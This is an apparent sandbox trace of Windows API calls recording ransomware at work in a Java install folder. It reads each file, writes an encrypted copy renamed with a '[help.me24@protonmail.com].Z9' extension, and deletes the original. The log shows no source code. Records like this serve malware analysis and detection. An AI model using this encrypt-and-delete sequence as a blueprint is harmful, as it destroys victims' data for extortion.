	[0191.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0191.616] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0191.616] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0191.616] lstrlenW (lpString=".doc") returned 4
	[0191.616] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0191.616] lstrlenW (lpString=".docx") returned 5
	[0191.616] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1
	[0191.616] lstrlenW (lpString=".pdf") returned 4
	[0191.616] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0191.616] lstrlenW (lpString=".xls") returned 4
	[0191.617] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0191.617] lstrlenW (lpString=".xlsx") returned 5
	[0191.617] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1
	[0191.617] lstrlenW (lpString=".ppt") returned 4
	[0191.617] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0191.617] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0191.617] lstrlenW (lpString=".zip") returned 4
	[0191.617] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0191.617] lstrlenW (lpString=".rar") returned 4
	[0191.617] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0191.617] lstrlenW (lpString=".bz2") returned 4
	[0191.617] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0191.617] lstrlenW (lpString=".7z") returned 3
	[0191.617] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0191.617] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0191.617] lstrlenW (lpString=".dbf") returned 4
	[0191.617] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0191.617] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0191.617] lstrlenW (lpString=".1cd") returned 4
	[0191.617] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0191.617] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0191.617] lstrlenW (lpString=".jpg") returned 4
	[0191.617] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0191.617] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0191.617] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0191.617] lstrlenW (lpString=".doc") returned 4
	[0191.617] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0191.617] lstrlenW (lpString=".docx") returned 5
	[0191.617] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1
	[0191.617] lstrlenW (lpString=".pdf") returned 4
	[0191.617] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0191.617] lstrlenW (lpString=".xls") returned 4
	[0191.617] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0191.617] lstrlenW (lpString=".xlsx") returned 5
	[0191.617] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1
	[0191.617] lstrlenW (lpString=".ppt") returned 4
	[0191.617] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0191.618] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0191.618] lstrlenW (lpString=".zip") returned 4
	[0191.618] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0191.618] lstrlenW (lpString=".rar") returned 4
	[0191.618] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0191.618] lstrlenW (lpString=".bz2") returned 4
	[0191.618] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0191.618] lstrlenW (lpString=".7z") returned 3
	[0191.618] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0191.618] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0191.618] lstrlenW (lpString=".dbf") returned 4
	[0191.618] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0191.618] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0191.618] lstrlenW (lpString=".1cd") returned 4
	[0191.618] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0191.618] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0191.618] lstrlenW (lpString=".jpg") returned 4
	[0191.618] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0191.618] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0191.618] lstrlenW (lpString="flavormap.properties") returned 20
	[0191.618] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0191.618] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=3928) returned 1
	[0191.618] CloseHandle (hObject=0x37c) returned 1
	[0191.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 0x20
	[0191.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.619] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0191.619] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.619] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.619] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0191.619] GetLastError () returned 0x0
	[0191.619] ReadFile (in: hFile=0x37c, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0xf58, lpOverlapped=0x0) returned 1
	[0191.620] WriteFile (in: hFile=0x378, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efc94*=0xf60, lpOverlapped=0x0) returned 1
	[0191.621] ReadFile (in: hFile=0x37c, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.621] WriteFile (in: hFile=0x378, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efc94*=0xfc, lpOverlapped=0x0) returned 1
	[0191.621] SetEndOfFile (hFile=0x378) returned 1
	[0191.621] CloseHandle (hObject=0x378) returned 1
	[0191.621] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.621] SetEndOfFile (hFile=0x37c) returned 1
	[0191.622] CloseHandle (hObject=0x37c) returned 1
	[0191.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0191.622] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 1
	[0191.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0191.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0191.623] lstrlenW (lpString=".doc") returned 4
	[0191.623] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0191.623] lstrlenW (lpString=".docx") returned 5
	[0191.623] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0191.623] lstrlenW (lpString=".pdf") returned 4
	[0191.623] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0191.623] lstrlenW (lpString=".xls") returned 4
	[0191.623] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0191.623] lstrlenW (lpString=".xlsx") returned 5
	[0191.623] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0191.623] lstrlenW (lpString=".ppt") returned 4
	[0191.623] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0191.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0191.623] lstrlenW (lpString=".zip") returned 4
	[0191.623] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0191.623] lstrlenW (lpString=".rar") returned 4
	[0191.623] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0191.623] lstrlenW (lpString=".bz2") returned 4
	[0191.623] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0191.623] lstrlenW (lpString=".7z") returned 3
	[0191.623] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0191.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0191.624] lstrlenW (lpString=".dbf") returned 4
	[0191.624] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0191.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0191.624] lstrlenW (lpString=".1cd") returned 4
	[0191.624] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0191.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0191.624] lstrlenW (lpString=".jpg") returned 4
	[0191.624] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0191.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0191.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0191.624] lstrlenW (lpString=".doc") returned 4
	[0191.624] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0191.624] lstrlenW (lpString=".docx") returned 5
	[0191.624] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0191.624] lstrlenW (lpString=".pdf") returned 4
	[0191.624] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0191.624] lstrlenW (lpString=".xls") returned 4
	[0191.624] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0191.624] lstrlenW (lpString=".xlsx") returned 5
	[0191.624] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0191.624] lstrlenW (lpString=".ppt") returned 4
	[0191.624] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0191.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0191.624] lstrlenW (lpString=".zip") returned 4
	[0191.624] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0191.624] lstrlenW (lpString=".rar") returned 4
	[0191.624] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0191.624] lstrlenW (lpString=".bz2") returned 4
	[0191.624] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0191.624] lstrlenW (lpString=".7z") returned 3
	[0191.624] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0191.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0191.625] lstrlenW (lpString=".dbf") returned 4
	[0191.625] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0191.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0191.625] lstrlenW (lpString=".1cd") returned 4
	[0191.625] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0191.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0191.625] lstrlenW (lpString=".jpg") returned 4
	[0191.625] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0191.625] lstrcmpiW (lpString1=".bfc", lpString2=".Z9") returned -1
	[0191.625] lstrlenW (lpString="fontconfig.bfc") returned 14
	[0191.625] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0191.625] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=3770) returned 1
	[0191.625] CloseHandle (hObject=0x37c) returned 1
	[0191.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 0x20
	[0191.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.625] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0191.626] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.626] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.626] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0191.626] GetLastError () returned 0x0
	[0191.626] ReadFile (in: hFile=0x37c, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0xeba, lpOverlapped=0x0) returned 1
	[0191.627] WriteFile (in: hFile=0x378, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efc94*=0xec0, lpOverlapped=0x0) returned 1
	[0191.628] ReadFile (in: hFile=0x37c, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.628] WriteFile (in: hFile=0x378, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efc94*=0xf0, lpOverlapped=0x0) returned 1
	[0191.628] SetEndOfFile (hFile=0x378) returned 1
	[0191.628] CloseHandle (hObject=0x378) returned 1
	[0191.628] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.628] SetEndOfFile (hFile=0x37c) returned 1
	[0191.629] CloseHandle (hObject=0x37c) returned 1
	[0191.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0191.630] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 1
	[0191.630] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0191.630] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0191.630] lstrlenW (lpString=".doc") returned 4
	[0191.630] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1
	[0191.630] lstrlenW (lpString=".docx") returned 5
	[0191.630] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1
	[0191.630] lstrlenW (lpString=".pdf") returned 4
	[0191.630] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1
	[0191.630] lstrlenW (lpString=".xls") returned 4
	[0191.630] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1
	[0191.630] lstrlenW (lpString=".xlsx") returned 5
	[0191.630] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1
	[0191.630] lstrlenW (lpString=".ppt") returned 4
	[0191.630] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1
	[0191.630] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0191.630] lstrlenW (lpString=".zip") returned 4
	[0191.630] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1
	[0191.630] lstrlenW (lpString=".rar") returned 4
	[0191.630] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1
	[0191.630] lstrlenW (lpString=".bz2") returned 4
	[0191.630] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1
	[0191.630] lstrlenW (lpString=".7z") returned 3
	[0191.631] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1
	[0191.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0191.631] lstrlenW (lpString=".dbf") returned 4
	[0191.631] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1
	[0191.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0191.631] lstrlenW (lpString=".1cd") returned 4
	[0191.631] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1
	[0191.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0191.631] lstrlenW (lpString=".jpg") returned 4
	[0191.631] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1
	[0191.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0191.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0191.631] lstrlenW (lpString=".doc") returned 4
	[0191.631] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1
	[0191.631] lstrlenW (lpString=".docx") returned 5
	[0191.631] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1
	[0191.631] lstrlenW (lpString=".pdf") returned 4
	[0191.631] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1
	[0191.631] lstrlenW (lpString=".xls") returned 4
	[0191.631] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1
	[0191.631] lstrlenW (lpString=".xlsx") returned 5
	[0191.631] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1
	[0191.631] lstrlenW (lpString=".ppt") returned 4
	[0191.631] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1
	[0191.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0191.631] lstrlenW (lpString=".zip") returned 4
	[0191.631] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1
	[0191.631] lstrlenW (lpString=".rar") returned 4
	[0191.631] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1
	[0191.631] lstrlenW (lpString=".bz2") returned 4
	[0191.631] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1
	[0191.631] lstrlenW (lpString=".7z") returned 3
	[0191.631] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1
	[0191.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0191.631] lstrlenW (lpString=".dbf") returned 4
	[0191.631] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1
	[0191.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0191.632] lstrlenW (lpString=".1cd") returned 4
	[0191.632] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1
	[0191.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0191.632] lstrlenW (lpString=".jpg") returned 4
	[0191.632] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1
	[0191.632] lstrcmpiW (lpString1=".src", lpString2=".Z9") returned -1
	[0191.632] lstrlenW (lpString="fontconfig.properties.src") returned 25
	[0191.632] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0191.632] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=10568) returned 1
	[0191.632] CloseHandle (hObject=0x37c) returned 1
	[0191.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 0x20
	[0191.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.632] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0191.633] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.633] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.633] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0191.633] GetLastError () returned 0x0
	[0191.633] ReadFile (in: hFile=0x37c, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0x2948, lpOverlapped=0x0) returned 1
	[0191.633] WriteFile (in: hFile=0x378, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efc94*=0x2950, lpOverlapped=0x0) returned 1
	[0191.635] ReadFile (in: hFile=0x37c, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.635] WriteFile (in: hFile=0x378, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efc94*=0x106, lpOverlapped=0x0) returned 1
	[0191.635] SetEndOfFile (hFile=0x378) returned 1
	[0191.635] CloseHandle (hObject=0x378) returned 1
	[0191.635] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.635] SetEndOfFile (hFile=0x37c) returned 1
	[0191.636] CloseHandle (hObject=0x37c) returned 1
	[0191.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0191.636] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 1
	[0191.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0191.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0191.637] lstrlenW (lpString=".doc") returned 4
	[0191.637] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1
	[0191.637] lstrlenW (lpString=".docx") returned 5
	[0191.637] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1
	[0191.637] lstrlenW (lpString=".pdf") returned 4
	[0191.637] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1
	[0191.637] lstrlenW (lpString=".xls") returned 4
	[0191.637] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1
	[0191.637] lstrlenW (lpString=".xlsx") returned 5
	[0191.637] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1
	[0191.637] lstrlenW (lpString=".ppt") returned 4
